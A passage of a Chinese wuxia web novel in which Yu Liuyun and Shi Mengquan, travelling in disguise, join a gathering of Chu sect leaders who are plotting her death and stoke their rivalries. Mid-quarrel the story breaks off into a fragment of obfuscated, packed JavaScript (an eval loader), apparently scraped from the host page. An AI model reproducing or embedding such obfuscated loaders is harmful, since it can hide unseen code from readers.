“哦,好,好……”兵丁口中应着,可却丝毫没有放行的意思,眼睛直愣愣盯着面前的紫衣美人儿,“紫儿,紫儿……真是好听的名字,赶明儿哥哥就上偎红阁找你,一定好好疼你……”说时,手不老实,竟向玉旒云的脸上摸了过去。 石梦泉如何能看得下去,“呼”地一掌就切在那人的手腕上。这次心太急了,已用了十分的力,那人的手腕险些折断,疼得直冒冷汗。“臭小子……敢打爷爷……” “哎呀,误会……误会……”红珠生怕动起手来殃及自己,连忙打圆场,“紫儿是清倌人,摸不得的。他也是按照妈妈的吩咐做事罢了……军爷,咱们赶着上沈员外家去,您就大人不计小人过,先放咱们过去吧……改日你到偎红阁来,我叫紫儿来给你斟茶替这小子赔罪。” 兵丁咬牙切齿,无论如何也不肯轻易放行。偏这时,远处一阵马蹄声,有人呼道:“是冷将军来了!” 玉、石二人心中都是一紧:这下可真是麻烦了。 但没料到士兵都慌张了起来——冷千山因为老婆是有名的醋坛子,从来不敢出来风流,看到手下享福,既羡慕又嫉妒,总是气不打一处来。若让他发现兵丁们在此处调戏姑娘却不做正事,还叫他们吃不了兜着走?兵丁于是只能恨恨地挥了挥手:“走吧!走吧!改日再找你算帐!” 石梦泉不由长长舒了口起,挥鞭催马,驰出了城门去。 一直跑出了很远,他们才停了下来,将车和马分开,让红珠和偎红阁的婆娘自己走回城去。“要是敢和官府说一个字——”玉旒云威胁道,“我迟早回来取你的性命!” 红珠和那婆娘都唯唯连声。玉旒云就道:“走,不许回头。” 两个女人何敢不听,如蒙大赦地相互搀扶着朝回走,到身影消失在路进头,也未敢转脸来看一下。 玉旒云看着她们走远,笑道:“好,这下可没人知道咱们往什么方向去。咱们上路吧。” 石梦泉点点头,痴痴地看着她如紫色云霞一般走到了马跟前。方要踏上马镫,却被裙子绊住了,不禁嘟囔道:“这衣服,方才虽然是救了命,不过实在累赘……”说时就要把这罩袍给脱了。 石梦泉十六年来多少次幻想玉旒云回复女装的模样,今日好容易梦想成真了,怎舍得这样快就醒来?忍不住出声阻止:“大人……等……等一等……” 玉旒云怔了怔:“怎么?” 石梦泉讷讷:“哦……这……我是想,冷千山通缉的是两个男人,那……那些刺客们恐怕追踪的也是两个男人……一定想不到大人原来是……原来是……所以,大人还在暂时不要恢复原来的装束好。” “哦……”玉旒云歪着头想了想,“你说的也有道理,那就按你说的办吧……不过,红珠的这身衣服实在是太别扭了,简直动弹不得!” 石梦泉笑了笑,走上前去,扶住她的腰轻轻一托,便将她抱上了马,自己则牵着缰绳引路。 “你干什么?”玉旒云道,“这样子,走一年也到不了西瑶!” 石梦泉怔了怔:“那……” 玉旒云一拍马鞍:“上来!” “啊……”石梦泉不知是惊是喜,或两者兼而有之,以为自己是听错了。但是玉旒云分明是在叫他,还朝他伸出手来。 “你蘑菇些什么!”她嗔道,“怎么这么婆婆妈妈的?难道我们小时候没有一起骑过马?大青河的时候还一起捡回一条命来呢!这么虽不是战马,但总不至于吃不消我们两个的重量——上来!” 听她的语气近乎命令,他就不再犹豫,答声“是”,便翻身上了马。拉住了缰绳,就几乎是将自己梦中远不可及的女子拥在怀里。他轻轻一夹马腹,喝声“驾”,让马儿疾驰向南,实际心里是想:若这旅程永远不结束就好了。 为了要躲避冷千山的通缉,两人不敢再从通天道南下,只拣小路走,到了黄昏时分才行到一座小镇上。看通缉文榜尚未发到这里,就投宿客栈,到次日,买了匹马继续前进。 如此夜以继日地赶路,到了八月底时,已经接近天江了。根据地图来看,他们到了一个叫“江门”的地方,再有一日路程,就可以到达天江的“夔洲渡”,从那里乘船渡江,不出三日,即可抵达西瑶首都临渊。 两人到了江门时都已十分疲劳,玉旒云主张连夜赶到夔洲渡,可是石梦泉见她几日来竟消瘦了一圈,说什么也不肯。“你不休息,马也要休息。”他道,“再说,半夜里赶到夔洲渡,谁会载我们过江呢?” 玉旒云听他说的也有道理,便同意在江门留宿一晚。两人因牵着马,走到了江门的市集之上寻找客栈。 这地方虽小,但毕竟在两国边境,算得是个通商口岸,所以市集热闹非凡。楚人、西瑶人,还有些不知哪里来的人,南腔北调地吆喝兜售,货品也是五花八门,光怪陆离。玉、石二人一边走,一边看,倒有一种难得的悠闲之感。 不过,这种感觉很快就被疲乏扫荡一空。他们已经快将市集走到头了,连问了四五家客栈,全都客满,直到了最后一间,才勉强得了一个房间,还是由储藏室改建而来的,连窗户也没有。玉旒云因为累了,更加暴躁,不免怒道:“见鬼,既然繁荣至此,怎舍不得多盖几间客栈?” “平时哪儿有这么多人?”掌柜的态度颇不友好,“还不都是因为你们这些江湖客到神农山庄来,这才把镇上所有客栈都住满了。能得一间房已经该感谢老天,再迟些就得睡柴房啦!” 神农山庄?玉旒云和石梦泉互望一眼:没有听说过。不过,掌柜误会他们是楚国武林中人,倒不失为一件好事,毕竟一对年轻男女风尘仆仆地骑马旅行,太惹人怀疑了。 “到底要不要住?”掌柜不耐烦,“你们不住,后面会有大把人想住的。” “住!”玉旒云道,“当然住。”当下就付定钱。 掌柜拿了银子,正要叫伙计带他们上楼,却冷不防听到堂上炸雷般的一声暴喝:“小子,你活腻味了么!” 玉、石二人循声望去,见发话的竟然是一个精瘦的老头儿,腰悬长剑,也不知是哪一门哪一派的侠客。而他骂的是对面一个矮胖汉子,背后背了一柄硕大的铁剑,一望可知也是绿林中人。 老头儿虽然瘦,但是骂起人来中气十足:“你们铁剑门也欺人太甚!这红烧肉分明是老夫先要的,你们怎么能半途抢了去?” 铁剑门的汉子毫不示弱:“裘掌门,话不能这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裘掌门冷笑:“敢做得出就不要不敢认!去年我们两派同去刺杀恶贼玉旒云,我掌门刘师兄失手被擒,你们铁剑门却袖手旁观不肯相救——这且不算,你们铁剑门的铁忠竟然被玉旒云淫威所摄,出卖同伴,此举何止不仁不义,简直是卑鄙无耻!” 啊!是他们!玉旒云和石梦泉都是一惊:去年生日宴的刺杀,后来的反间计果然奏效了! “谁在造谣生事?”蓦地又有一个洪钟似的的声音。玉、石二人循声望去,见到一个四十来岁仪表堂堂的中年男子,正从楼梯上走下来。他身上并没有带兵器,但后面却跟了好几个背着铁剑的后生,看来必是铁剑门里辈分不低的人物。 “哼,肖掌门来了!”裘掌门嘲讽道,“真是人多势众啊!以为我们琅山派就没人么!” “有理无理不在人多人少。”铁剑门的肖掌门道,“裘掌门无凭无据就冤枉我铁剑门,就不怕被江湖同道取笑么!” 裘掌门眼一瞪:“你徒弟铁忠害死我掌门师兄,又累得我师侄曹芳差点儿就没了命,这不就是铁证如山么?你在此狡赖,才要成为天下的笑柄!我劝你早早把你那叛徒弟子交出来,八大门派公审发落,免得引起公愤。” 肖掌门哈哈大笑:“究竟谁才是天下笑柄,那得看天下人怎么说才行——裘掌门知道天下人是怎么说的么?” 裘掌门白了他一眼,叫他别卖关子。 肖掌门道:“若不是刘大侠在樾国牺牲,裘兄怎么能当上掌门的呢?呵呵,江湖上都传说是裘兄买通了你的好师侄,让她出卖自己的师父,助你登上掌门之位——若不然,你那资质平平的师侄怎么就做了掌门大弟子呢?” “胡说八道!”裘掌门怒道,“她是我师兄的大弟子,理所当然就是我琅山派的传人!” “呵呵!”肖掌门见他生气,反而笑意更深,“我看你是有愧于你师兄,所以……” “肖羽,你不要欺人太甚!”裘掌门怒斥,“我们琅山派为了国家存亡,抛头颅,洒热血,此心可昭日月!” 肖羽啧啧冷笑:“漂亮话谁不会说?表面功夫谁不会做?哪里有出风头露脸的事,哪里就有你们琅山派——裘掌门哪里是‘此心昭日月’,简直是要和日月争辉啊!” “放屁!”裘掌门一声断喝,拔出了剑来,“肖羽,你不就是想毁了我们琅山派,从此你们铁剑好做天剑的唯一传人么?先问过老夫的剑再说!”这竟是要动起手来了。 玉旒云一边喝茶一边偷笑,暗想,当时放出刘千总,又陆续把半死不活的几个刺客都放了,只不过是想扰乱楚国义师,好为大青河之战做准备,却没想到影响如此“深远”,这些武林人氏到如今还在相互猜疑争斗不休。她不禁得意,笑望了石梦泉一眼。 石梦泉也觉得这些楚国武林人士既可笑又可恨,玉旒云看准了他们的弱点,想出这种以逸待劳的法子叫他们内讧,实在高明。于是他便也朝她微微一笑,以茶代酒,祝贺她计划成功。 “肖掌门,裘掌门!”终于有人出来劝架了,“一人都少说一句吧,都是江湖同道,何必为过去的事情伤了和气?这岂不要使亲者痛、仇者快么?” 是谁想要好戏提早收场?玉、石二人都转头去看,见是一个劲装中年汉子,身边跟着一个妇人仿佛是他妻子,两人都走到了店堂内,挡在琅山派和铁剑门中间,道:“如今天下正是多事之秋,咱们虽然只是草莽中人,但也都想为国家、为百姓出一份力。大家从五湖四海到了这里来,难道不是为了这一个目的么?陈年旧事还提来干什么?” 肖羽满脸不屑,似乎懒得和裘掌门一般见识。而裘掌门却气鼓鼓道:“姜先生,这事都是铁剑门挑起来的。分明是他们的铁忠出卖了众义士,却在这里胡搅蛮缠——我看赵大侠也是被他害死的。” 姜先生道:“赵师弟人都已经不在了,现在追究还有什么意义?若他还活着,说不定也会被人误指为叛徒吧?依我看,现在重要的不是谁是叛徒,而是玉旒云还活着,且来到了这里,要同西瑶结盟。若我们不拦住她,将这恶贼除掉,后果不堪设想。” 玉旒云和石梦泉不由都是一惊:怎么走漏了风声?莫非是冷千山手下有人认出了他们,所以发动全国齐来搜索?这不可能!如果在国内通缉敌军将领,岂不引发恐慌?况且,在芙蓉庙时他们就已经遭到了袭击,瞧那些敌人的武功来路,正是江湖中人——如今看来,似乎是整个楚国武林都出动了,要置玉旒云于死地——他们能认出她,并不稀奇,当时的刺客不是还有活着的么?但是他们竟然连与西瑶结盟的事都知道了,看来身边又出了奸细! 可恶!玉旒云几乎把茶杯捏碎。 石梦泉轻轻按住她的手臂:不要激动,现在身在一群敌人之中,大意不得。 玉旒云点了点头,不过依然还是很生气,紧咬着嘴唇:是谁潜伏在她身边?非揪出来不可——这群自高自大的匹夫,就凭他们,也想扳倒她么! 姜先生见琅山和铁剑双方还没有和解的意思,又继续劝说:“两位就算不给我姜某人的面子,也要给端木庄主面子吧?再怎么说,咱们也是在神农山庄的地界,莫非两位要令端木庄主为难么?” 听到这句话,裘、肖二人才终于不再针锋相对了。裘掌门还剑归鞘,道:“哼,老夫此来是为了截杀玉旒云这个恶贼,其他事情,暂时就不计较。” 肖羽也道:“我们铁剑们一向是以天下兴亡为己任,功过自有后人评说。” 姜先生见剑拔弩张之势化解,松了口气,道:“既然如此,姜某做东,请两位掌门喝一杯——这时辰也不早了,大家该上神农山庄去了。” 掌柜见干戈化为玉帛,他店里的桌椅碗碟免了灭顶之灾不算,现在还要掏银子来买他的酒,实在欢喜得不行,赶紧叫伙计“拿坛好酒出来”。 “不知他们上神农山庄去做什么?”玉旒云知道满堂都是武林高手,惟恐轻声说话也能被他们听了去,便用手指蘸了茶水在桌上写字。 “似乎都是来杀咱们的。”石梦泉也写道,“莫非是到那里去计议?” 玉旒云写道:“真是奇怪。该去神农山庄看看。” 石梦泉赶忙按住她的手,摇摇头:太危险了。“我们应该离开这里。”他写。怕玉旒云固执,又加了一句:“要将他们一网打尽,来日方长,如今势单力孤,不可冒险。” 玉旒云之所以动了这样的心思,自然是想查出谁是自己身边的奸细。但石梦泉所虑也不无道理,她想了想,伸手把桌上的字迹都抹了,重新写道:“好。” 正这时候,伙计来上菜了,走得甚急,一不小心和人撞了个满怀,一托盘饭菜和另一手中酒坛子都脱手而飞,直朝玉、石二人飞了过来。玉旒云本来背对着他,只听到一阵风声,急忙山身避让。石梦泉眼疾手快,左手一把将托盘抓住,右手跟着抓住了酒坛——好俊的功夫,饭菜不曾打翻,酒也未洒出一点儿。 “没事吧?”他还是要向玉旒云询问一声。 伙计忙不迭地上来赔罪。石梦泉知是意外,自然不同他计较,将托盘放在自己桌上,酒坛则还给他。伙计接了,才要去拿给姜先生,不想姜先生倒自己走了过来,朝石梦泉拱了拱手,道:“小兄弟,真是好身手。你们也是去神农山庄的么?不如也来同饮一杯?” 石梦泉心中暗叫“糟糕”:这是什么意思?要怎么应对?有百种可能,千种危险,但却没有思考的时间。“前辈过奖了。”他道,“晚辈班门弄斧,实在惭愧。这酒就不便叨扰了。” 本意随便打发此人,却不料比想象中困难得多。“谦虚有礼,真是难得。”姜先生道。“听你是口音不像是中原人,不知是哪一派的弟子?” 哎呀!石梦泉深悔自己冲动:这岂不是要被人听出他从樾国来了么? “我们是郑国人。”玉旒云突然道。她甩掉了这几日惯用的凉城腔,回复原本的北方语调:“没有什么门派,原本就是做镳师的。我们的半壁江山已经被樾贼强占。不愿做奴隶的人都迁来了楚国。现在……”她要找一个不容易被拆穿的谎话来说,灵机一动,道:“我们现在得赣州虎威镳局收留,又做回镳师了。” “赣州虎威镳局?”姜先生惊讶道,“莫非就是崔抱月崔女侠所在的那间么?” 玉旒云点头道:“正是。”心想:除了那间,我还知道楚国有什么镳局? 姜先生似乎对崔抱月颇有敬意,道:“崔女侠是巾帼英雄,大青河之战为国家立下了汗马功劳,我等都十分佩服。两位既然与她同门,务请赏光来喝一杯酒。” 玉旒云道:“这怎么敢。我们行里的规矩,押镳的时候是不能饮酒的。” 姜先生却一再坚持:“就是不喝酒,大家在此遇到就是缘分,请过来坐一坐。” 玉旒云觉得他如此热情有些可疑,想了想,试探道:“方才听到诸位大侠讲到玉旒云那恶贼来到了此地,可是真的么?” 姜先生点头:“自然。今日天下英雄齐聚在此,就是为了要取她性命。” “这样……”玉旒云沉吟,“若非此贼凶恶,我们郑国人也不至于流离失所。诸位大侠可有用得着我们的地方么?请一定要说出来,我们也好报仇雪恨。” “众志成城。姑娘有此决心,不愁恶贼不亡。”姜先生道,“我等正是要去神农山庄共商讨贼大计。姑娘和这位兄弟若不嫌弃,大家一起吃了饭,就上神农山庄去。” 果然是去神农山庄商量怎么杀他们!玉旒云望了石梦泉一眼:“前辈盛情,晚辈荣幸之至。恭敬不如从命。” 小心中计!石梦泉焦急万分,想提醒她,但是事到如今,谁中了谁了计还有什么紧要?这不是开战之前运筹帷幄精心策划的时候,已是狭路相逢,短兵相接,只有走一步看一步,随机应变,斗智斗勇。这种千钧一发的时刻,他更要紧紧护在玉旒云的身边。 两人就走到了那群楚国武林人士之中,一个自称姓刘,一个自称姓孟,和诸位侠客们见礼。那些人也都自我介绍,裘掌门叫做裘铮,姜先生名叫姜广轩,是东海派掌门。他亲自给大家倒了酒,并给玉、石二人斟了茶,道:“为国为民,侠之大者。只要咱们同心合一,玉旒云一定有来无回。” 好,我就看你们怎么死无全尸!玉旒云心中暗道,也和众人一起举起碗来,一饮而尽。 40. 第 40 章 已经无法不跟着那群中原武林人士一起去神农山庄了。 玉旒云和这些来取她性命的人谈笑自如,正像一个豁达开朗的女侠。而石梦泉则是满心的担忧,生怕这群人老奸巨滑,专门要骗他们去神农山庄自投罗网。 众人一边朝神农山庄走,他就一边设法试探:“姜大侠,大家在此截杀玉旒云,不知她究竟会走哪条路呢?” “管她走哪条路,”姜广轩道,“总之都是死路。” 好狂的语气!莫非他们真有万全之策?“晚辈不明白,要去西瑶有许多条路可走,天江上的渡口有百来个,可各位大侠都聚在这里,不怕她从别处溜走么?” “呵呵,”姜广轩笑道,“孟少侠非我楚国人,不知我楚国英雄众多。聚集在这里的,只是各派掌门而已。其实天江的各个渡口都有人把手。更还有,天江上的渡船无非官船和民船。玉旒云在凉城得罪了人,现在通缉她的文榜发遍天下,官船是绝对坐不得的。而民船都有漕帮的弟兄看着,她要是上船,就只能去喂鱼了。” 居然真的布下了天罗地网!石梦泉不禁给了玉旒云提醒的一瞥。 玉旒云听了这话,先是有些心惊,但又觉得有点儿好笑:这些人到底知不知道身边就是他们要杀的“奸贼”?因问:“中原武林这许多侠士,难道都见过她不成?若不识得她的样子,怎么能截杀她呢?” 姜广轩哈哈笑道:“刘姑娘有所不知,刺杀玉旒云之事,我们中原武林计划已久了。早有些胆识过人的义士潜入樾国,监视玉旒云的举动。玉旒云的模样他们自然晓得,只是在樾国下手不易,所以只传了画像出来,叫守在楚境的英雄下手。本来计划在边境处就解决她,可惜被这奸贼侥幸逃脱了。但说来也巧,现在玉旒云竟被官府通缉,她的画像发遍全国,无论她走到哪里都能被认出来啦。” 石梦泉听到此语,愈加担心。而玉旒云则是愈加气恼:究竟是谁潜伏在自己身边? “晚辈驽钝,”她道,“为什么在樾国下手不易?既然能监视玉旒云的举动,还能画出栩栩如生的画像,应该离她很近才是。要杀她,岂不易如反掌?” “这……”姜广轩露出了为难之色,道,“这就不是我能回答的了。刘姑娘到我楚国不久,对我中原武林并不了解吧——其实我中原武林还分成东、西、南、北四方,每一方有自己的盟主。鄙人就是东武林盟主。为了抗击樾寇,我等组成了义师,也分东、西、南、北四方。到樾国打探消息如今是北义师领头,他们怎么个想法,旁人如何知道?” 人说“麻雀虽小,五脏俱全”,一批乌合之众竟然搞得比朝廷的军队还复杂。玉旒云很想知道这北义师里都是些什么人,然后将他们碎尸万段。“中原地大物博,果然跟我们郑国完全不同。”她道,“只是,四方义师各自为战,怎么能保证不生误会呢?” “刘姑娘可真是有心人。”姜广轩道,“我们除了了有八大门派,还有丐帮呢。他们就是负责传递消息的。玉旒云几时入了楚境,又几时逃脱了第一次的追杀,丐帮的人传起信来,快过朝廷的八百里加急战报啦。” 好险!玉旒云望了石梦泉一眼:咱们路上没遇到过乞丐吧? 正谈着的时候,已经到了神农山庄了。依山而建的一处园林,虽然是白墙黑瓦,但是比起凉城那些达官显贵的豪宅来,巍峨之势丝毫不减。看来今日中原武林聚会,各路英雄已经陆续来了,门前有不少车马。七八个青衣年轻人正张罗着把马匹牵到后面去。他们中有人见了姜广轩一行,就迎了上来:“姜大侠,裘大侠,肖大侠,家师已经恭候多时了,快随晚辈来吧。” 原来这是神农山庄的弟子。玉旒云和石梦泉互望了一眼:这当儿,还是混在众人之中比较安全。便举步欲走。不想姜广轩却叫住了他们:“两位请梢等!” 玉、石二人都是一惊,警醒地等着看他有何企图。 姜广轩笑着:“请借一步说话。”就将两人引到了一旁,低声道:“方才刘姑娘说到四方义师各自为战,难免要生误会,姜某深以为然。不瞒二位,四方义师早就商议是否要选出一位总盟主来统领众人。今天到神农山庄,除了商议要如何截杀玉旒云之外,选出武林盟主也是一件大事。” “哦?”玉旒云不觉得此事跟自己有什么关系,敷衍地应了一声。 姜广轩又接着道:“此事在大家心里都转了许久,早该提出来了。不过,人人都担心提出来会被别人误会是自己想当盟主,所以总是没人开口。孟少侠,刘姑娘,你们二位不算是中原人,出来说话不带私心,一会儿能不能帮忙……” “是这样啊……”玉旒云差点儿笑出声来:原来是个既要做婊子又要立贞洁牌坊的家伙!不知道中原武林里还有多少像姜广轩这样的人?方才见琅山派和铁剑门自相残杀,恐怕提起武林盟主来,这两家也要出来争一争,但表面上还要说些民族大义什么的!悄悄和石梦泉交换了一个眼色:就让他们闹吧!闹得越厉害越好!因道:“姜大侠可放心。晚辈们虽不是楚人,但是楚国义师抗击樾寇,那也就是为我们郑国人报仇雪恨。帮助楚国义师选出个能够统帅群雄的盟主来,我们也义不容辞。” 姜广轩听了这话,眉开眼笑:“两位小小年纪就如此深明大义,将来的前途一定不可限量。” 玉、石二人自然笑着说:“前辈言重。” 姜广轩道:“还有一事——两位虽是郑国人,但是若以郑国人身份来提,恐怕也不妥。不如就以虎威镳局崔女侠同门的名义来提吧,也名正言顺些。” 呵!玉旒云真想大笑三声:这姓姜的,不仅私心着重,死要面子,还深谙权谋算计之道,竟想要借崔抱月的名气来给自己撑场面。也好,反正他们也是打着崔抱月的招牌来“招摇撞骗”的,最后至多不过是弄坏了崔抱月的名声而已!因道:“那是自然,晚辈们理会得——姜大侠请——” 于是三人就一起走进了神农山庄。 听“神农山庄”这个名字就可以猜出是个医药之家。走进院子便闻到了各种草药的味道,再走到正厅之上,草药之味被一种奇特的清香取代,玉、石二人都觉得心旷神怡,却辨不出那是什么香味。 看正厅上已经坐了不少人,原本挺宽敞的厅堂被挤得只剩当中一小块地方。上首主人位上一个五十来岁的男子,面貌和善,大概就是神农山庄的什么端木庄主。他身后站着一个青衣女郎,看来正双十年华,鹅蛋脸,眉眼生动,有种小家碧玉的美丽。不知是端木庄主的女儿还是徒弟。往下厅堂当中客人位一共有四把太师椅,三把已经有人坐了,只剩下首一个空着——估摸这四个位子是留给四方盟主的,最后空着的这个给姜广轩。他这样一个追名逐利的人居然要屈居末座,玉旒云虽然只是旁观者,心里还所以种“恶作剧”的快活。 但姜广轩有好涵养,面上丝毫也不显露出对那位次的不满,反而微笑着同他夫人一齐和在座众人都打了招呼,连连为自己的迟到而至歉。到了太师椅跟前,他自己却不坐,叫他夫人坐。端木庄主身后的女郎见了,赶忙叫人再多搬一张椅子来。姜广轩连声道谢:“世侄女有心了。”听这称呼,女郎该是端木小姐无疑。 琅山派和铁剑门的人也都到旁边就座。玉旒云和石梦泉找了个角落远远地避着人。石梦泉悄声对玉旒云道:“我们还是不要在这里久留,万一被认出来就糟了。” 玉旒云虽然点头,但又轻声道:“且听那北义师的人说些什么。” 石梦泉知道她放不下细作的事,自己也暗里发誓要把这人抓出来,但是却并不指望能从这些武林匹夫口中打探到什么。“他们一会就要忙着争武林盟主了,估计说不到正事。” 玉旒云何尝料不到?“人家不是指望咱们出面提选盟主的事么?”她低声道,“他们不说咱们想听的,咱们也就拖一拖,让他们心里也难受难受。” 石梦泉直皱眉头:这哪里像是指挥千军的惊雷大将军说的话?完全是任性小孩嘛! 玉旒云瞥了他一眼,笑了,拿他的手掌来,写道:“我自有分寸。总要等他们闹起来,咱们才好脱身。” 石梦泉明白,也在她的手掌上写道:“小心。” 玉旒云轻轻一笑,拍拍他的手背,示意他放心。以往在军中,两人便亲密如此,但今时今日,玉旒云恢复成清秀的女子的模样,石梦泉和她如此接近,只觉心跳“突突”,脑海一片空白,如同喝醉了酒似的。不过,他很快又命令自己清醒过来:身在龙潭虎穴之中,他应该心无旁骛,全力保护玉旒云的安全才是。 端木庄主见四方盟主都到齐了,便道:“今日天下英雄齐聚在寒舍,老夫虽然不胜荣幸,但也不胜悲哀。荣幸的是,我中原武林多少年分分合合明争暗斗,现在终于可以同心合力。悲哀的是,让大家同心合力的原因是玉旒云这个恶贼。她占我河山害我百姓,如今竟然大摇大摆到了中原来,还一直走到天江边也没有被擒获,实在是我中原武林之耻。” 群雄中响起一阵嗡嗡声。玉旒云只轻轻冷笑,暗想:我还未“占你河山”呢!等我真的拿下凉城,你们再骂我是恶贼也无用了! 坐在姜广轩对面的乃是一个道士,清了清嗓子,道:“关于这个,咱们得请教请教岳掌门。潜伏在樾国的是你们北义师的人——玉旒云怎么就能安安好好地出了西京,又过了大青河呢?” 这位岳掌门坐在姜广轩的上首,身子相当胖,坐在那太师椅上简直就像是堆在那里的一口袋东西,实在看不出是个练武的人。“玉旒云是蛮夷狗皇帝跟前的大红人,”他道,“是皇亲国戚。她自己又是领侍卫内大臣,身边大内高手云集——要接近她哪有那么容易的?能够探出些消息已经是万幸了。而且,玉旒云疑心病重,西京之内到处都是她的密探,我们北义师要传递消息也十分不易。等玉旒云南下的消息传出来,我北义师的同道们准备截杀她时,她早就已经离开西京很远了。她此来是微服,行踪隐秘。我们又花了老大功夫才大概知道了她的行程——那时,她已过了大青河。那是西义师负责的地方,我们岂敢插手?自然就把消息都飞鸽传给了詹道长。至于为何玉旒云在我楚境之内逍遥,得要问问詹道长才知。岳某人可不敢胡说八道,冤枉好人。” 三言两语,便把烫手的山芋丢还给了那道士。道士不禁翻了翻白眼:“问贫道?你那飞鸽传书来的可算及时啊!等我们西义师的同道得知玉旒云狗胆包天敢走通天道,又在通天道上布置好关卡时,她早就溜到了芙蓉庙了,我们所有的关卡都落在她的身后——这芙蓉庙的事,贫道还要请教岳掌门呢,你的书信只说玉旒云要走通天道南下,可没提她要去芙蓉庙啊!那里离开通天道虽然没有十万八千里,但也有半天的路程,要不是几位同道恰好在道边的茶肆看到了她,紧紧跟了上去,恐怕她过了天江,我们也别想抓着她半根头发。” 岳掌门当然有不可推卸的责任,但是也不用负全责。他冷笑道:“真是笑话。玉旒云这厮又不是个白痴,定了计划就不能改么?难道傻愣愣地撞进你的陷阱里去?” 虽然不是什么好话,但也可算是对自己的赞扬。玉旒云已经被这群人左一句“奸贼”右一句“恶人”骂得都麻木了,难得听到一人说自己懂得应变,禁不住想笑。但同时眉头又皱得更紧了:为了确保在楚国境内的安全,她出行的计划都是根据细作提供的地图决定的。如果有人能把她的计划都泄露出去,这个人的威胁就太大了——简直不知道这奸细在何处,订计划的,只有她和石梦泉啊! 她叉起了两手,紧紧的,仿佛那可以化为一副枷锁,锁住潜伏的敌手。 石梦泉的忧虑又何下于她?除了那长久的,还有眼前的。目光一刻不停,扫视着厅堂里的每一个人,提防突然袭击。 四方盟主的扯皮还在继续——要是你的书信快一点,我早就抓到玉旒云了……要是你聪明一点儿,多设几个意想不到的关卡,玉旒云早就落网了……要是你们愿意派些人来相助,多点人守在大青河附近,玉旒云说不定连芙蓉庙也到不了……要是你们警醒一点儿,在芙蓉庙就杀了玉旒云,哪儿来现在的麻烦……为什么没料到玉旒云会进凉城……为什么能让她在凉城凭空消失……都是丐帮的人没尽责,就数他们人多眼线广,怎么发现不了玉旒云的踪迹…… 真是越吵越厉害。很快,四盟主之外的各路英雄也加入了这相互责怪相互贬损的行列。玉旒云的思虑都被烦得不知跑到了哪里,只是感觉可笑无比。趁着嘈杂,她低声对石梦泉道:“这些人怎么配算计我?” “的确。”石梦泉道,“再留下去也没有意思,不如趁乱赶紧脱身。” 玉旒云点点头,两人便欲悄悄离座。 可偏这时,听到那端木庄主道:“各位静一静,如此争论下去,能解决什么问题?依老夫之见,这次截杀玉旒云的计划之所以会如此不顺都是因为四方义师各自为战,未能协同合作。今日诸位齐聚在蔽庄,不就是为了共同商议合作杀贼卫国么?为何不想些切实的方案,反而要在此互相责怪?” 这如何不是姜广轩想听的话。他立刻响应:“端木庄主所言甚是。外敌当前,国家正是危急存亡之秋,一门一派的荣辱恩怨都该放在一边,当以大局为重。” “果然如此!”赞同他的是南义师的盟主,从刚才的争论中,玉、石二人已大略了解到,此人姓宋。他朗声道:“大家正应该同仇敌忾。多商量,少争执。” 冠冕堂皇的言语,谁也不能指摘。一屋子人刹时都静了下来,似乎争论惯了,一时间想不出“商量”应该是怎么做。片刻,才有人说:“恩……那个……截杀玉旒云……漕帮帮主严八姐没有来呀……”又有人道:“说要截杀……其实抓活的更好,可以拿她做筹码和樾国皇帝谈判……” 姜广轩其实才不在乎是杀还是抓,又具体怎么抓、怎么杀,他只关心选不选武林盟主,谁当武林盟主。这时,他就回过身来在人群中寻找玉、石二人,好叫他们出来说句话。 玉旒云和石梦泉才刚刚站起身,正要悄悄朝门口走,便撞上了姜广轩的目光。两人都十分警觉,几乎是同时拉了对方一下,以示提醒:不可让人起疑。 石梦泉生恐这室内有人能认出他俩,因而跨前一步,想将玉旒云挡在身后,宁可自己成为众矢之的,也要让她全身而退。可玉旒云却是另外的心思:如今她换回女装,别人要认出她可比认石梦泉困难得多。她便拉住了石梦泉,自己微微一笑,道:“晚辈们有一言,不知各位大侠愿不愿听。” 姜广轩等的就是这句话,因道:“姑娘有话,但说无妨。” 玉旒云暗想:等你们争起盟主来,我和梦泉正好脱身。她摆出一副江湖后辈的模样,道:“方才端木庄主说了,这次行动之所以混乱,乃是因为四方义师各自为战。晚辈先还不太明白,这时听几位英雄说到对付玉旒云,就恍惚理解了——大家有的说要抓,有的说要杀,一会儿议定了这个,又该议论怎么抓、怎么杀……恐怕到了天亮也得不出个结果来——就算是有了些结果,也是四方义师盟主各自拍板,各自调度人手,其中只要生了一点儿误会,计划就会满盘皆输,让恶贼逃之夭夭。” 众人看她不过是个年轻女子,而中原礼教古来就是“重男轻女”,便不当她一回事,道:“那你说要如何?” 玉旒云道:“晚辈可不敢说要‘如何’。晚辈是个小小的镳师,就只知道镳行里的事。像我们镳局里虽然镳师众多,又有好几位镳头,但是大当家就只有一个。虽然凡有大事都众人齐来商量,但是最后由大当家拍板,也由大当家分派任务。各位镳师在外做事,向各自的镳头报告,镳头又将事向大当家报告。大当家把各个镳头的话放在一处考虑,就知道哪条道上需要多派人手,哪条道上可以少给些买路钱。他站得高,自然看得远,做出的决定自然就使大伙事半功倍,镳局的生意怎么不蒸蒸日上呢?晚辈想,武林义师也是同样的道理吧。” 她乃是军队统帅,知道出征之时再怎么战将如云、谋士如雨,主帅只能有一个。唯其如此,主帅才能够通观全局,统一调度。若没有最高指挥者,全凭独立的军团各自为战只会带来混乱,即使不一败涂地,也要付出极大的代价。 在场的武林人士自然不识得打仗的技巧,但听她用镳局来打比方,说得很是在理,有些人就暗暗惊讶:原来这个女子不简单。姜广轩看着旁人多有赞同之色,自然大喜过望,连声道:“所言极是,所言极是。未料姑娘年纪轻轻,竟有此见地,我们这些老骨头真是不服老也不行。” 玉旒云心想:你怕是想叫我直接提名你做总盟主吧?反正将来人家要骂也是骂虎威镳局,骂崔抱月,我就往你们这炉膛里再加一把柴!因假笑道:“姜大侠折杀晚辈了。论武功、论智谋,您都是武林的泰山北斗,晚辈怎么敢在您面前班门弄斧。” 姜广轩按例谦让:“刘姑娘过誉。”但又生怕别人不知道玉旒云的“身份”,就小看了她说话的分量,即向大家介绍:“这位刘姑娘,那位孟少侠,都是虎威镳局的少年英雄,跟崔抱月崔女侠是同门。” “哦——”崔抱月现在可谓名满天下,佩服的、嫉妒的、觉得这个女人不守本分的,各人有各人的看法。 